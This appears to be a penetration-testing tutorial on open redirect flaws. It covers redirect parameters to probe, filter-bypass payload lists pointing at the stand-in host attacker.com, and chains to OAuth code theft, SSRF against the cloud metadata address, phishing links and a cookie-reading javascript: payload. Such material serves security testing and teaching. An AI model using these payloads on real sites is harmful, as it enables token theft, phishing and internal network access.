Web

Open Redirect

Open redirect detection, bypass techniques, and chaining to OAuth token theft, SSRF, phishing, and XSS. Covers URL parameter injection, referer-based redirects, meta refresh, JavaScript redirects, and filter bypass methods.

What is Open Redirect

An open redirect allows an attacker to redirect users from a trusted domain to an arbitrary external URL. By itself it’s a low-severity issue — its real power comes from chaining: using a trusted domain’s redirect to steal OAuth tokens, bypass SSRF filters, facilitate phishing, or exfiltrate data.


Detection

Step 1 — Find redirect parameters

Look for parameters that accept URLs in requests:

?url=
?redirect=
?next=
?return=
?returnUrl=
?redirect_uri=
?return_to=
?continue=
?destination=
?target=
?redir=
?ref=
?location=

Also check:

  • Referer header-based redirects
  • Form action attributes
  • JavaScript window.location assignments
  • Meta refresh tags: <meta http-equiv="refresh" content="0;url=VALUE">

Step 2 — Inject an external URL

In Burp Repeater, replace the parameter value with an external domain:

?next=https://attacker.com
?redirect=//attacker.com
?url=https://attacker.com

Follow the redirect — if you land on attacker.com → open redirect confirmed.

Step 3 — Check for partial validation

If the first test fails, try filter bypass variants (see below).


Filter Bypass Techniques

Protocol/scheme variation

//attacker.com
////attacker.com
https:attacker.com
https://attacker.com
javascript:alert(1)   (→ XSS if executed)

@-notation bypass

https://trusted.com@attacker.com
https://trusted.com@attacker.com/path

The browser uses attacker.com as the host and trusted.com as credentials.

Backslash bypass

https:\\attacker.com
https:\/\/attacker.com
https:/\attacker.com

Some parsers treat \ as /.

CRLF + meta refresh

?next=%0d%0a<meta+http-equiv=refresh+content=0;url=https://attacker.com>

Subdomain bypass (if checking suffix)

https://attacker.com.trusted.com   (attacker owns attacker.com.trusted.com)
https://trustedcom.attacker.com    (looks like trusted.com at a glance)

URL fragment

?next=https://trusted.com#https://attacker.com

Encoded variants

?url=%68%74%74%70%73%3A%2F%2Fattacker.com    (hex encoded)
?url=https%3A%2F%2Fattacker.com               (URL encoded)

Unicode/IDN homoglyph

?next=https://аttacker.com   (Cyrillic 'а' looks like Latin 'a')

Exploit 1: OAuth Token Theft via Open Redirect

OAuth flows use redirect_uri to send the authorization code back. If the app has an open redirect and the OAuth server validates only the domain prefix:

  1. Register redirect_uri=https://trusted.com/oauth/callback.
  2. Use the open redirect to send the token to attacker:
    redirect_uri=https://trusted.com/redirect?next=https://attacker.com
  3. User clicks → OAuth server sends auth code to trusted.com/redirect?next=... → trusted site redirects to attacker.com with the code in the URL.

Exploit 2: SSRF Whitelist Bypass

If an SSRF filter allows only specific domains:

# Filter: must start with https://allowed.com
?url=https://allowed.com/redirect?next=http://169.254.169.254/latest/meta-data/

The SSRF filter sees allowed.com → passes. The allowed.com redirect → reaches IMDS.


Exploit 3: Phishing

Craft a link that appears to come from the trusted domain:

https://trusted.com/login?next=https://attacker-phishing.com/fake-login

The user sees trusted.com in the URL bar until the redirect fires.


Exploit 4: Referrer Leakage

Open redirect URL in an href causes the browser to send the trusted-domain URL as the Referer to the attacker’s site — leaking the current user’s page context.


Exploit 5: XSS via javascript: scheme

?next=javascript:alert(document.cookie)

If javascript: URIs are not blocked and the redirect is done via window.location → XSS.


Burp Suite workflow

  1. Proxy — intercept all redirects; identify parameter names in Location headers.
  2. Repeater — test https://attacker.com, //attacker.com, bypass variants.
  3. Intruder — fuzz with a wordlist of open redirect bypass payloads (//attacker.com, @attacker.com, \attacker.com).
  4. Scanner — active scan tests common open redirect patterns automatically.
  5. For OAuth chains: note the redirect_uri parameter and test open redirect URLs as the redirect value.